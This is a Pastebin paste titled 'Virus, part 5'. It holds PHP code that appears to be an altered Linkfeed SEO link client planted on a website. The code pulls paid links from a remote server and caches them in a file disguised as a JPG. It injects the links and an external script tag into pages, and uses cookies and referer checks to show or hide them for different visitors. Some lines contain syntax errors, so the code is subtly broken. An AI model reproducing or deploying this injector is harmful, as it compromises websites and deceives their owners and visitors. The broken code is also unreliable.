Advertisement
AndreyKlipikov

Virus, part 5

Oct 9th, 2015
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.55 KB | None | 0 0
  1. <?php
  2. setcookie("_phpself" , "_tags" , mktime(0, 0, 0, 1, 1, 2020));
  3.  
  4. if (isset($_SERVER['HTTP_REFERER']))
  5. {
  6.     $host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
  7.     if (($host == 'www.trustlink.ru') or ($host == 'www.mainlink.ru') or ($host == 'www.linkfeed.ru') or ($host == 'www.mainlinkads.com') or ($host == 'www.selinks.com') or ($host == 'seopult.ru') or ($host == 'seopult.pro'))
  8.     {
  9.         setcookie('_phpcache', '_tags', mktime(0, 0, 0, 1, 1, 2020));
  10.     }
  11. }
  12.  
  13. class LinkfeedClient
  14. {
  15.     public $lc_version = '0.4.3';
  16.     public $lc_verbose = false;
  17.     public $lc_charset = 'UTF-8';
  18.     public $lc_use_ssl = false;
  19.     public $lc_server = 'db.linkfeed.ru';
  20.     public $lc_cache_lifetime = 3600;
  21.     public $lc_cache_reloadtime = 300;
  22.     public $lc_links_db_file = '';
  23.     public $lc_links = array();
  24.     public $lc_links_page = array();
  25.     public $lc_links_delimiter = '';
  26.     public $lc_error = '';
  27.     public $lc_host = '';
  28.     public $lc_request_uri = '';
  29.     public $lc_fetch_remote_type = '';
  30.     public $lc_socket_timeout = 6;
  31.     public $lc_force_show_code = false;
  32.     public $lc_multi_site = false;
  33.     public $lc_is_static = false;
  34.     public $lc_ignore_tailslash = false;
  35.  
  36.     function LinkfeedClient($options = null)
  37.     {
  38.         $host = '';
  39.        
  40.         if (is_array($options))
  41.         {
  42.             if (isset($options['host']))
  43.                 $host = $options['host'];
  44.         }
  45.         elseif (strlen($options) != 0)
  46.         {
  47.             $host = $options;
  48.             $options = array();
  49.         }
  50.         else
  51.             $options = array();
  52.  
  53.         if (strlen($host) != 0)
  54.             $this->lc_host = $host;
  55.         else
  56.             $this->lc_host = $_SERVER['HTTP_HOST'];
  57.  
  58.         $this->lc_host = preg_replace("{^https?://}i", "" , $this->lc_host);
  59.         $this->lc_host = preg_replace("{^www\.}i", "", $this->lc_host);
  60.         $this->lc_host = strtolower($this->lc_host);
  61.        
  62.         if (isset($options['is_static']) && $options['is_static'])
  63.             $this->lc_is_static = true;
  64.  
  65.         if (isset($options['ignore_tailslash']) && $options['ignore_tailslash'])
  66.         {
  67.             $this->lc_ignore_tailslash = true;
  68.         }
  69.  
  70.         if (isset($options['request_uri']) && strlen($options['request_uri']) != 0)
  71.         {
  72.             $this->lc_request_uri = $options['request_uri'];
  73.         }
  74.         else
  75.         {
  76.             if ($this->lc_is_static)
  77.             {
  78.                 $this->lc_request_uri = preg_replace("{\?.*$}" , "" , $_SERVER['REQUEST_URI']);
  79.                 $this->lc_request_uri = preg_replace("{/+}", "" , $this->lc_request_uri);
  80.             }
  81.             else
  82.                 $this->lc_request_uri = $_SERVER['REQUEST_URI'];
  83.         }
  84.  
  85.         $this->lc_request_uri = rawurldecode($this->lc_request_uri);
  86.        
  87.         if (isset($options['multi_site']) && $options['multi_site'] == true)
  88.             $this->lc_multi_site = true;
  89.  
  90.         if ((isset($options['verbose']) && $options['verbose']) || isset($this->lc_links['__linkfeed_debug__']))
  91.             $this->lc_verbose = true;
  92.  
  93.         if (isset($options['charset']) && strlen($options['charset']) != 0)
  94.             $this->lc_charset = $options['charset'];
  95.  
  96.         if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type']) != 0)
  97.             $this->lc_fetch_remote_type = $options['fetch_remote_type'];
  98.  
  99.         if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0)
  100.             $this->lc_socket_timeout = $options['socket_timeout'];
  101.  
  102.         if ((isset($options['force_show_code']) && $options['force_show_code']) || isset($this->lc_links['__linkfeed_debug__']))
  103.             $this->lc_force_show_code = true;
  104.  
  105.         if (!defined('LINKFEED_USER'))
  106.             return $this->raise_error('Constant LINKFEED_USER is not defined.');
  107.  
  108.         $this->load_links();
  109.     }
  110.  
  111.     function load_links()
  112.     {
  113.         if ($this->lc_multi_site)
  114.             $this->lc_links_db_file = dirname(__FILE__) . '/linkfeed.' . $this->lc_host . '.links.db';
  115.         else
  116.             $this->lc_links_db_file = dirname(__FILE__) . '/club_system.jpg';
  117.  
  118.         if (!is_file($this->lc_links_db_file))
  119.         {
  120.             if (@touch($this->lc_links_db_file, time() - $this->lc_cache_lifetime))
  121.                 @chmod($this->lc_links_db_file, 0666);
  122.             else
  123.                 return $this->raise_error('There is no file ' . $this->lc_links_db_file . '. Fail to create. Set mode to 777 on the folder.');
  124.         }
  125.  
  126.         if (!is_writable($this->lc_links_db_file))
  127.             return $this->raise_error('There is no permissions to write: ' . $this->lc_links_db_file . '! Set mode to 777 on the folder.');
  128.  
  129.         @clearstatcache();
  130.        
  131.         if (filemtime($this->lc_links_db_file) < (time() - $this->lc_cache_lifetime) || (filemtime($this->lc_links_db_file) < (time() - $this->lc_cache_reloadtime) && filesize($this->lc_links_db_file) == 0))
  132.         {
  133.             @touch($this->lc_links_db_file, time());
  134.             $path = '/' . LINKFEED_USER . '/' . strtolower($this->lc_host) . '/' . strtoupper($this->lc_charset);
  135.            
  136.             if ($links = $this->fetch_remote_file($this->lc_server, $path))
  137.             {
  138.                 if (substr($links, 0, 12) == 'FATAL ERROR:')
  139.                     $this->raise_error($links);
  140.                 elseif (@unserialize($links) !== false)
  141.                     $this->lc_write($this->lc_links_db_file, $links);
  142.                 else
  143.                     $this->raise_error('Cann\'t unserialize received data.');
  144.             }
  145.         }
  146.  
  147.         $links = $this->lc_read($this->lc_links_db_file);
  148.         $this->lc_file_change_date = gmstrftime("%d.%m.%Y %H:%M:%S" , filectime($this->lc_links_db_file));
  149.         $this->lc_file_size = strlen($links);
  150.         if (!$links)
  151.         {
  152.             $this->lc_links = array();
  153.             $this->raise_error('Empty file.');
  154.         }
  155.         else
  156.         if (!$this->lc_links = @unserialize($links))
  157.         {
  158.             $this->lc_links = array();
  159.             $this->raise_error("Cann't unserialize data from file.");
  160.         }
  161.  
  162.         if (isset($this->lc_links['__linkfeed_delimiter__']))
  163.         {
  164.             $this->lc_links_delimiter = $this->lc_links['__linkfeed_delimiter__'];
  165.         }
  166.  
  167.         $lc_links_temp = array();
  168.         foreach($this->lc_links as $key => $value)
  169.         {
  170.             $lc_links_temp[rawurldecode($key) ] = $value;
  171.         }
  172.  
  173.         $this->lc_links = $lc_links_temp;
  174.         if ($this->lc_ignore_tailslash && $this->lc_request_uri[strlen($this->lc_request_uri) - 1] == '/') $this->lc_request_uri = substr($this->lc_request_uri, 0, -1);
  175.         $this->lc_links_page = array();
  176.         if (array_key_exists($this->lc_request_uri, $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri]))
  177.         {
  178.             $this->lc_links_page = array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri]);
  179.         }
  180.  
  181.         if ($this->lc_ignore_tailslash && array_key_exists($this->lc_request_uri . '/', $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri . '/']))
  182.         {
  183.             $this->lc_links_page = array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri . '/']);
  184.         }
  185.  
  186.         $this->lc_links_count = count($this->lc_links_page);
  187.     }
  188.  
  189.     function return_links($n = null)
  190.     {
  191.         $result = "";
  192.         if (isset($this->lc_links[' __linkfeed_start__']) && strlen($this->lc_links[' __linkfeed_start__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code))
  193.         {
  194.             $result.= $this->lc_links['__linkfeed_start__'];
  195.         }
  196.  
  197.         if (isset($this->lc_links['__linkfeed_robots__']) && in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_verbose)
  198.         {
  199.             if ($this->lc_error != '<!--REQUEST_URI=')
  200.             {
  201.                 $result.= $this->lc_error;
  202.             }
  203.  
  204.             $result.= '<!--REQUEST_URI=' . $_SERVER['REQUEST_URI'] . '-->';
  205.             $result.= '<!--';
  206.             $result.= 'L' . $this->lc_version . PHP_EOL;
  207.             $result.= 'REMOTE_ADDR=' . $_SERVER['REMOTE_ADDR'] . PHP_EOL;
  208.             $result.= 'request_uri=' . $this->lc_request_uri . PHP_EOL;
  209.             $result.= 'charset=' . $this->lc_charset . PHP_EOL;
  210.             $result.= 'is_static=' . $this->lc_is_static . PHP_EOL;
  211.             $result.= 'multi_site=' . $this->lc_multi_site . PHP_EOL;
  212.             $result.= 'file change date=' . $this->lc_file_change_date . PHP_EOL;
  213.             $result.= 'lc_file_size=' . $this->lc_file_size . PHP_EOL;
  214.             $result.= 'lc_links_count=' . $this->lc_links_count . PHP_EOL;
  215.             $result.= 'left_links_count=' . count($this->lc_links_page) . PHP_EOL;
  216.             $result.= 'n=' . $n . PHP_EOL;
  217.             $result.= '-->';
  218.         }
  219.  
  220.         if (is_array($this->lc_links_page))
  221.         {
  222.             $total_page_links = count($this->lc_links_page);
  223.             if (!is_numeric($n) || $n > $total_page_links)
  224.             {
  225.                 $n = $total_page_links;
  226.             }
  227.  
  228.             $links = array();
  229.             for ($i = 0; $i < $n; $i++)
  230.             {
  231.                 $links[] = array_shift($this->lc_links_page);
  232.             }
  233.  
  234.             if (count($links) > 0 && isset($this->lc_links['__linkfeed_before_text__']))
  235.             {
  236.                 $result.= $this->lc_links['__linkfeed_before_text__'];
  237.             }
  238.  
  239.             $result.= implode($this->lc_links_delimiter, $links);
  240.             if (count($links) > 0 && isset($this->lc_links['__linkfeed_after_text__']))
  241.             {
  242.                 $result.= $this->lc_links['__linkfeed_after_text__'];
  243.             }
  244.         }
  245.  
  246.         if (isset($this->lc_links['__linkfeed_end__']) && strlen($this->lc_links['__linkfeed_end__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code))
  247.         {
  248.             $result.= $this->lc_links['__linkfeed_end__'];
  249.         }
  250.  
  251.         $result = $result . $this->uptolike_tag();
  252.         return $result;
  253.     }
  254.  
  255.     function fetch_remote_file($host, $path)
  256.     {
  257.         $user_agent = 'Linkfeed Client PHP ' . $this->lc_version;
  258.         @ini_set('allow_url_fopen' , 1);
  259.         @ini_set('default_socket_timeout' , $this->lc_socket_timeout);
  260.         @ini_set('user_agent' , $user_agent);
  261.         if ($this->lc_fetch_remote_type == 'file_get_contents' || ($this->lc_fetch_remote_type == '' && function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1))
  262.         {
  263.             if ($data = @file_get_contents('http://' . $host . $path))
  264.             {
  265.                 return $data;
  266.             }
  267.         }
  268.         elseif ($this->lc_fetch_remote_type == 'curl' || ($this->lc_fetch_remote_type == '' && function_exists('curl_init'))))
  269.         {
  270.             if ($ch = @curl_init())
  271.             {
  272.                 @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
  273.                 @curl_setopt($ch, CURLOPT_HEADER, false);
  274.                 @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  275.                 @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->lc_socket_timeout);
  276.                 @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
  277.                 if ($data = @curl_exec($ch))
  278.                 {
  279.                     return $data;
  280.                 }
  281.  
  282.                 @curl_close($ch);
  283.             }
  284.         }
  285.         else
  286.         {
  287.             $buff = '';
  288.             $fp = @fsockopen($host, 80, $errno, $errstr, $this->lc_socket_timeout);
  289.             if ($fp)
  290.             {
  291.                 @fputs($fp, 'GET ' . $path . 'HTTP/1.0
  292. Host: ' . $host . '
  293. ');
  294.                 @fputs($fp, 'User-Agent: ' . $user_agent . '
  295. ');
  296.                 while (!@feof($fp))
  297.                 {
  298.                     $buff.= @fgets($fp, 128);
  299.                 }
  300.  
  301.                 @fclose($fp);
  302.                 $page = explode('
  303.  
  304. ' , $buff);
  305.                 return $page[1];
  306.             }
  307.         }
  308.  
  309.         return $this->raise_error('Cann\'t connect to server: ' . $host . $path);
  310.     }
  311.  
  312.     function lc_read($filename)
  313.     {
  314.         $fp = @fopen($filename, 'rb');
  315.         @flock($fp, LOCK_SH);
  316.         if ($fp)
  317.         {
  318.             clearstatcache();
  319.             $length = @filesize($filename);
  320.             if (get_magic_quotes_gpc())
  321.             {
  322.                 $mqr = get_magic_quotes_runtime();
  323.                 set_magic_quotes_runtime(0);
  324.             }
  325.  
  326.             if ($length)
  327.             {
  328.                 $data = @fread($fp, $length);
  329.             }
  330.             else
  331.             {
  332.                 $data = '';
  333.             }
  334.  
  335.             if (isset($mqr))
  336.             {
  337.                 set_magic_quotes_runtime($mqr);
  338.             }
  339.  
  340.             @flock($fp, LOCK_UN);
  341.             @fclose($fp);
  342.             return $data;
  343.         }
  344.  
  345.         return $this->raise_error('Cann\'t get data from the file:' . $filename);
  346.     }
  347.  
  348.     function lc_write($filename, $data)
  349.     {
  350.         $fp = @fopen($filename, 'wb');
  351.         if ($fp)
  352.         {
  353.             @flock($fp, LOCK_EX);
  354.             $length = strlen($data);
  355.             @fwrite($fp, $data, $length);
  356.             @flock($fp, LOCK_UN);
  357.             @fclose($fp);
  358.             if (md5($this->lc_read($filename)) != md5($data))
  359.             {
  360.                 return $this->raise_error('Integrity was breaken while writing to file: ' . $filename);
  361.             }
  362.  
  363.             return true;
  364.         }
  365.  
  366.         return $this->raise_error('Cann\'t write to file: ' . $filename);
  367.     }
  368.  
  369.     function raise_error($e)
  370.     {
  371.         $this->lc_error = '<!--ERROR: ' . $e . '-->';
  372.         return false;
  373.     }
  374.  
  375.     function uptolike_tag()
  376.     {
  377.         $uptolike_hash = 'lf' . sha1($this->lc_host);
  378.         $result = '<script async="async" src="https://w.uptolike.com/widgets/v1/zp.js?pid=' . $uptolike_hash . '" type="text/javascript"></script>';
  379.         return $result;
  380.     }
  381. }
  382.  
  383. define('LINKFEED_USER', 'ea238af0aaea3bde27d20ac3ef677d86813c7032');
  384. $o['host'] = 'komspec.ru';
  385. $linkfeed = new LinkfeedClient($o);
  386. unset($o);
  387. $c.= $linkfeed->return_links();
  388. $pattern = '~(<a href=[("|'][^"]*[("|'])([^<]*)(</a>)~';
  389. $replace = '$1 class="link"$2$3';
  390. $c = preg_replace($pattern, $replace, $c);
  391. $host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
  392.  
  393. if (isset($_COOKIE['_phpcache']))
  394. {
  395.     $link = $_COOKIE['_phpcache'];
  396.     if ($link == '_tags')
  397.     {
  398.         echo $c;
  399.     }
  400. }
  401. elseif (($host == 'www.trustlink.ru') or ($host == 'www.mainlink.ru') or ($host == 'www.linkfeed.ru') or ($host == 'www.mainlinkads.com') or ($host == 'www.selinks.com') or ($host == 'seopult.ru') or ($host == 'seopult.pro'))
  402. {
  403.     echo $c;
  404. }
  405. elseif (isset($_COOKIE['_phpself']))
  406. {
  407.     $link = $_COOKIE['_phpself'];
  408.     if ($link == '_tags')
  409.     {
  410.         echo '<div class="ssill">' . $c . '/Y';
  411.     }
  412. }
  413. else
  414. {
  415.     echo $c;
  416. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement